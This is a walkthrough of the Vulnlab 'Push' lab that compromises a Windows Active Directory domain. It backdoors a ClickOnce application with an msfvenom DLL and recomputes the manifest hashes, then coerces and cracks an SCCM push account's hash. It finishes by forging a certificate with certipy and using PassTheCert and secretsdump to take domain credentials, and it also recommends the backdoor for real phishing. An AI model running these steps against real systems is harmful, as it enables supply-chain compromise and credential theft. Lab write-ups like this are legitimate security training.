Post

Vulnlab Push Writeup

push.vl walkthrough

Enumeration

As always, we start with an nmap scan of the targets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
Nmap scan report for 10.10.196.5
Host is up (0.069s latency).
Not shown: 91 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-02 17:02:02Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: push.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.push.vl
| Subject Alternative Name: DNS:DC01.push.vl
| Not valid before: 2023-08-29T21:18:39
|_Not valid after:  2123-08-06T21:18:39
|_ssl-date: TLS randomness does not represent time
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=DC01.push.vl
| Not valid before: 2023-08-29T22:44:24
|_Not valid after:  2024-08-29T22:44:24
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.push.vl
| Not valid before: 2023-08-29T20:33:09
|_Not valid after:  2024-02-28T20:33:09
|_ssl-date: 2023-09-02T17:02:48+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: PUSH
|   NetBIOS_Domain_Name: PUSH
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: push.vl
|   DNS_Computer_Name: DC01.push.vl
|   DNS_Tree_Name: push.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2023-09-02T17:02:08+00:00
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-09-02T17:02:09
|_  start_date: N/A

Nmap scan report for 10.10.196.6
Host is up (0.071s latency).
Not shown: 94 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 08-03-23  08:49PM       <DIR>          .config
| 08-03-23  08:49PM       <DIR>          .git
|_08-03-23  08:49PM       <DIR>          dev
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: SelfService
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MS01.push.vl
| Not valid before: 2023-08-30T07:00:38
|_Not valid after:  2024-02-29T07:00:38
| rdp-ntlm-info: 
|   Target_Name: PUSH
|   NetBIOS_Domain_Name: PUSH
|   NetBIOS_Computer_Name: MS01
|   DNS_Domain_Name: push.vl
|   DNS_Computer_Name: MS01.push.vl
|   DNS_Tree_Name: push.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2023-09-02T17:02:10+00:00
|_ssl-date: 2023-09-02T17:02:48+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-02T17:02:18
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Post-scan script results:
| clock-skew: 
|   0s: 
|     10.10.196.5
|_    10.10.196.6

Nothing unusual here for a chain, however, the Anonymous FTP login allowed stands out so let’s investigate this.

Valid Credentials

Upon connecting and listing files, there seems to be nothing interesting present, however if we list hidden files we get .git-credentials:

Let’s download this file and see what it is, judging by the name it is obviously some sort of Git credentials..

1
2
3
$ cat .git-credentials   

https://olivia.wood:[email protected]

Looks like credentials for Github, we will try them against the domain to see if they are valid:

SMB Share

With the valid credentials, enumerating the SMB shares leads us to find a wwwroot on MS01.

1
2
3
4
5
6
7
8
9
$ smbclient -L \\\\MS01\\ -U PUSH/olivia.wood
Password for [PUSH\olivia.wood]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        wwwroot         Disk      selfservice web deployment

After connecting to the wwwroot share, we come across some files:

1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\MS01\\wwwroot -U PUSH/olivia.wood
Password for [PUSH\olivia.wood]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Aug  6 10:32:49 2023
  ..                                  D        0  Tue Aug  1 20:07:31 2023
  Application Files                   D        0  Thu Aug  3 19:39:06 2023
  index.html                          A     7594  Sat Aug  5 09:02:27 2023
  last-run.txt                        A       26  Tue Aug 29 17:34:28 2023
  SelfService.application             A    17619  Thu Aug  3 19:35:45 2023

                5205499 blocks of size 4096. 746614 blocks available

This seems to be a ClickOnce application, we can double confirm this by viewing the contents of the index.html:

The last-run.txt is also interesting, viewing this file gives the following information:

1
2
$ cat last-run.txt 
"Last Execution:  9:38"

This basically indicates that the ClickOnce application is being run, potentially by some automated script? With this in mind, we can check to see if we have write privileges on the share to potentially backdoor this application:

1
2
smb: \> put last-run.txt 
putting file last-run.txt as \last-run.txt (0.1 kb/s) (average 0.1 kb/s)

We do have write privileges! So, we can try our theory with backdooring this ClickOnce application.. There are already quite a few public posts on this topic primarily from @an0n_r0 and SpecterOps, for this writeup we will be following Backdooring ClickOnce .NET Apps for Initial Access: A Practical Example from @an0n_r0 aka István Tóth

ClickOnce Backdoor

Now, there are a few ways we could do this, either by finding a suitable location to backdoor within the assembly, or just by replacing a DLL. This is also a very good technique to use in real-life for initial access, the concept is the same as how we are doing it here, you backdoor a suitable application that you find online, host it yourself and then use it for your phishing phase.

For the simplicity of this writeup, we will replace a DLL that is present with our own malicious one. However, before we get started there are a few prerequisites that need to be met in order for this to work without getting any warnings when it gets ran.

  • Valid digest hashes in order to restore the trust chain provided by the hash values in the manifest files which we will modify
  • Remove the invalid signatures from the modified manifest files

So, let’s get started, after downloading all the files we will search for a DLL we want to use. We want to make sure it is a DLL that is included in the deployment of the application, i.e., not a system DLL. We will use SelfService.dll.deploy

We can use msfvenom to generate a DLL to replace the one in the Application:

Now that we have replaced the DLL, we have essentially broken the trust chain as the digest hash for this reference will be invalid. However, it is simple calculate a new digest hash of the backdoored DLL as seen below:

1
openssl dgst -binary -sha256 Application\ Files/SelfService_1_0_0_5/SelfService.dll.deploy | openssl enc -base64

With this new digest value, we will have to update the appropriate dsig:DigestValue element, and size attribute for the DLL within the SelfService.application.

We have updated the fields from the SelfService.application above. (The size field is just the size of the DLL). Also,

If the manifest file was signed, it’ll be invalid because we have made some changes to it, so the signature needs to be removed. First, delete the “publisherIdentity” and the “Signature” elements at the end. And also, zero out the “publicKeyToken” attribute in the “asmv1:assemblyIdentity” tag at the top (where the “name” attribute matches the assembly name the manifest belongs to). Zeroing out means 16 zeroes: publicKeyToken="0000000000000000". This ensures the signature won’t be checked and it won’t cause an issue if it is missing.

Now we have changed the main DLL manifest what is referenced by the .application manifest (and contains digest values for the main DLL manifest). This means the .application manifest also needs to be updated.

We can recalculate the main DLL manifest SHA256 digest value with the same method we used before:

1
openssl dgst -binary -sha256 Application\ Files/SelfService_1_0_0_5/SelfService.dll.manifest | openssl enc -base64

Now we can replace the element dsig:DigestValue with this new value and also update the DLL manifest file size (dependentAssembly tags size attribute). The size here is just the size of the manifest file after editing everything.

Now the backdoored ClickOnce application should be ready to be deployed, remember, we have the last-run.txt so we can use that as a heads up to know if it’s working or not…

The SelfService.Application and the SelfService.dll.manifest end up looking like the following:

SelfService.application

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">
  <assemblyIdentity name="SelfService.application" version="1.0.0.5" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />
  <description asmv2:publisher="SelfService" asmv2:product="SelfService" xmlns="urn:schemas-microsoft-com:asm.v1" />
  <deployment install="true" mapFileExtensions="true">
    <subscription>
      <update>
        <beforeApplicationStartup />
      </update>
    </subscription>
    <deploymentProvider codebase="http://MS01.push.vl/SelfService.application" />
  </deployment>
  <compatibleFrameworks xmlns="urn:schemas-microsoft-com:clickonce.v2">
    <framework targetVersion="4.5" profile="Full" supportedRuntime="4.0.30319" />
  </compatibleFrameworks>
  <dependency>
    <dependentAssembly dependencyType="install" codebase="Application Files\SelfService_1_0_0_5\SelfService.dll.manifest" size="5403">
      <assemblyIdentity name="SelfService.exe" version="1.0.0.5" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="msil" type="win32" />
      <hash>
        <dsig:Transforms>
          <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
        </dsig:Transforms>
        <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
        <dsig:DigestValue>3M5qZiVMSal5bVEyP8IvHxbyf40BzfAEvdbRXH7yLA4=</dsig:DigestValue>
      </hash>
    </dependentAssembly>
  </dependency>
</asmv1:assembly>

SelfService.dll.manifest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">
  <asmv1:assemblyIdentity name="SelfService.exe" version="1.0.0.5" publicKeyToken="0000000000000000" language="neutral" processorArchitecture="msil" type="win32" />
  <application />
  <entryPoint>
    <assemblyIdentity name="Launcher" version="7.0.0.0" language="neutral" processorArchitecture="msil" />
    <commandLine file="Launcher.exe" parameters="" />
  </entryPoint>
  <trustInfo>
    <security>
      <applicationRequestMinimum>
        <PermissionSet Unrestricted="true" ID="Custom" SameSite="site" />
        <defaultAssemblyRequest permissionSetReference="Custom" />
      </applicationRequestMinimum>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <!--
          UAC Manifest Options
          If you want to change the Windows User Account Control level replace the
          requestedExecutionLevel node with one of the following.

        <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
        <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
        <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />

         If you want to utilize File and Registry Virtualization for backward
         compatibility then delete the requestedExecutionLevel node.
    -->
        <requestedExecutionLevel level="asInvoker" uiAccess="false" />
      </requestedPrivileges>
    </security>
  </trustInfo>
  <dependency>
    <dependentOS>
      <osVersionInfo>
        <os majorVersion="5" minorVersion="1" buildNumber="2600" servicePackMajor="0" />
      </osVersionInfo>
    </dependentOS>
  </dependency>
  <dependency>
    <dependentAssembly dependencyType="preRequisite" allowDelayedBinding="true">
      <assemblyIdentity name="Microsoft.Windows.CommonLanguageRuntime" version="4.0.30319.0" />
    </dependentAssembly>
  </dependency>
  <dependency>
    <dependentAssembly dependencyType="install" allowDelayedBinding="true" codebase="Launcher.exe" size="23904">
      <assemblyIdentity name="Launcher" version="7.0.0.0" language="neutral" processorArchitecture="msil" />
      <hash>
        <dsig:Transforms>
          <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
        </dsig:Transforms>
        <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
        <dsig:DigestValue>5bpMmiFyKqHkRwWWOYorrVvxQNEX3LhIMpMF8uNoNzg=</dsig:DigestValue>
      </hash>
    </dependentAssembly>
  </dependency>
  <file name="SelfService.deps.json" size="5891">
    <hash>
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>LaaK/tsS+6hIea2P/okeX1JeC2lNnhRRWKsRubVMETE=</dsig:DigestValue>
    </hash>
  </file>
  <file name="SelfService.dll" size="9216">
    <hash>
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>uPAvM40UEiwuWbWFq2MC/qyo7/bPWRsSZGLP4x2Jfqc=</dsig:DigestValue>
    </hash>
  </file>
  <file name="SelfService.exe" size="161632">
    <hash>
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>MsUaMPce9HWLPocCreE6YTj+r6CRXuPsQMLkpMqO3pQ=</dsig:DigestValue>
    </hash>
  </file>
  <file name="SelfService.runtimeconfig.json" size="372">
    <hash>
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>DSp4MGmJyWjNc/SmtGLu8DcWOcu4eQJIAo4Sy6A1RFo=</dsig:DigestValue>
    </hash>
  </file>
  <file name="System.DirectoryServices.AccountManagement.dll" size="283264">
    <hash>
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>uFjT3dyuUYO2GS2YRGygCLj3jXHyROwZpT7GwlSt4+g=</dsig:DigestValue>
    </hash>
  </file>
  <file name="System.DirectoryServices.Protocols.dll" size="157312">
    <hash>
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>oHAGLNuDH3fnSPOFMWrgwOx/lS1XneiviRjqpitDjuY=</dsig:DigestValue>
    </hash>
  </file>
</asmv1:assembly>

MS01 Initial Access

Now we will start our MSF listener and upload our modified files to the SMB share, then we will wait to see if our backdoored application works.. If it doesn’t work, its likely there is an issue with the trust chain which we would have to fix in order for this to work..

And as you can see below, we managed to get a callback to Metasploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C:\Users\kelly.hill>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

C:\Users\kelly.hill>whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                          Attributes                                        
========================================== ================ ============================================ ==================================================
Everyone                                   Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                      Mandatory group, Enabled by default, Enabled group
PUSH\staff                                 Group            S-1-5-21-1589267129-13061033-1364877255-2101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Looks like we don’t have any interesting privileges, however we are in the PUSH\staff group..

SCCM Discovery

After doing some initial enumeration, you can find the ccmsetup folder within C:\windows, this usually indicates that SCCM is setup..

“CCMSetup.exe is a Microsoft program executed from the command line, (or through a script), by an enterprise administrator to find and download the files needed and start installation of the Endpoint Configuration Manager (ECM) Client on a workstation computer.”

With this in mind, we can use a tool like SCCMHunter to enumerate potential Management Point’s/Site Codes: So, it managed to find some information on the SCCM server.. Now considering we have an active logon session on MS01, we can now use a tool such as SharpSCCM to interact with the SCCM server and potentially escalate privileges.

Moving forward, after checking the local administrators on MS01, it seems there is a group added called ServerAdmins and also a user called sccadmin, which is also a ServerAdmin.. This really indicates an SCCM Administrator.. This could be a client push account potentially…

SCCM Privesc

Now before we attempt to privesc via SCCM, there are a few blogs worth reading that could aid in exploitation efforts. Coercing NTLM Authentication from SCCM, SCCM Site Takeover via Automatic Client Push Installation Both of these blogs come from SpecterOps and are invaluable in regards to testing against SCCM.

So, let’s begin by uploading SharpSCCM to the box and attempt to get an SCCM Site Takeover via Client Push Installation. Let’s look at what we have so far and what we can potentially do:

  • Client Push Account is a local administrator on MS01
  • Coerce Client Push Account so we can potentially relay and dump hashes of MS01 (Client Push account will be local admin), or crack the push account ntlmv2 hash.

Let’s fire up Responder and invoke a client push to capture a hash, we could also try to relay in this scenario.

And from this, we have managed to get the NTLMv2 hash:

Let’s attempt to crack this:

1
SCCADMIN::PUSH:39760917d5bba31e:341deed496ecc82784f8f9d12902a126:010100000000000080781374c1ddd901adbcd4a49246636300000000020008003800420057004b0001001e00570049004e002d0034004d0043004f0059004400530042005a003200450004003400570049004e002d0034004d0043004f0059004400530042005a00320045002e003800420057004b002e004c004f00430041004c00030014003800420057004b002e004c004f00430041004c00050014003800420057004b002e004c004f00430041004c000700080080781374c1ddd901060004000200000008003000300000000000000000000000004000001fd54bfaacf6ff7dfb8d076ecd85f9a6809938375c1d9ffc56a504b12a3df87f0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0030002e003100310036000000000000000000:REDACTED

We were able to successfully crack the NTLMv2 hash and get plaintext creds for the SCCAdmin user, as you can see, we are now a local admin on MS01:

1
2
3
$ crackmapexec smb MS01 -u "sccadmin" -p 'REDACTED' -d push.vl     
SMB         MS01.push.vl    445    MS01             [*] Windows 10.0 Build 20348 x64 (name:MS01) (domain:push.vl) (signing:False) (SMBv1:False)
SMB         MS01.push.vl    445    MS01             [+] push.vl\sccadmin:REDACTED (Pwn3d!)

Domain Privesc

Once local administrator access on MS01 was achieved, enumeration showed that MS01 is actually a CA server too.. Now, if you have system access to a Certificate Authority, a lot of damage can be done. We can either perform a Golden Certificate attack and achieve Domain Admin this way, or we can make our own template vulnerable to ESC1 for example..

We will take the approach of performing a Golden Certificate attack with Certipy, its easy as following the steps outlined from the Github Repository.

First let’s get a backup cert and private key, and then with this we can forge a certificate for the domain controller. However, there may be issues with authenticating with it as this is a Server 2022… However, PassTheCert will work in our case:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
k💥z @ kitsuke in ~/ctf/vl/push at [02/09 17:53]
$ certipy ca -backup -ca 'CA' -username SCCAdmin -p 'REDACTED' -target-ip MS01 
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'CA.pfx'
[*] Cleaning up


k💥z @ kitsuke in ~/ctf/vl/push at [02/09 17:54]
$ certipy forge -ca-pfx CA.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'                                                               
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Saved forged certificate and private key to 'administrator_forged.pfx'


k💥z @ kitsuke in ~/ctf/vl/push at [02/09 17:54]
$ certipy cert -pfx administrator_forged.pfx -nokey -out admin.crt                                                                                             
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'admin.crt'


k💥z @ kitsuke in ~/ctf/vl/push at [02/09 17:54]
$ certipy cert -pfx administrator_forged.pfx -nocert -out admin.key
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Writing private key to 'admin.key'


k💥z @ kitsuke in ~/ctf/vl/push at [02/09 17:55]
$ python ~/tools/PassTheCert/Python/passthecert.py -action modify_user -crt admin.crt -key admin.key -domain push.vl -dc-ip DC01 -target sccadmin -elevate 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Granted user 'sccadmin' DCSYNC rights!


k💥z @ kitsuke in ~/ctf/vl/push at [02/09 17:56]
$ secretsdump.py PUSH/SCCADMIN@DC01 -just-dc-user Administrator
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:{redacted}:{redacted}:::
[*] Kerberos keys grabbed
{redacted}
{redacted}
{redacted}
[*] Cleaning up...

Alternatively, you can just change the password of the user rather than dumping.

Now it is possible to get access to the DC to retrieve the final flag:

Unintended Path

After getting a shell as Kelly.Hill from the Clickonce backdoor, it is possible to skip all the steps for domain privesc (SCCM / Golden Cert)

After inspecting bloodhound to see what Kelly.Hill controls outbound, you can see “WriteAccountRestrictions” on MS01.

This may not seem super obvious at first glance, but after a bit of googling, you can see that its basically rbcd.. This will allow you to write to the ms-DS-AllowedToActOnBehalfOfOtherIdentity property. Here is a good post from Dirkjanm that explains this

I will leave this path as an exercise for the reader to explore this avenue.

This post is licensed under CC BY 4.0 by the author.

Trending Tags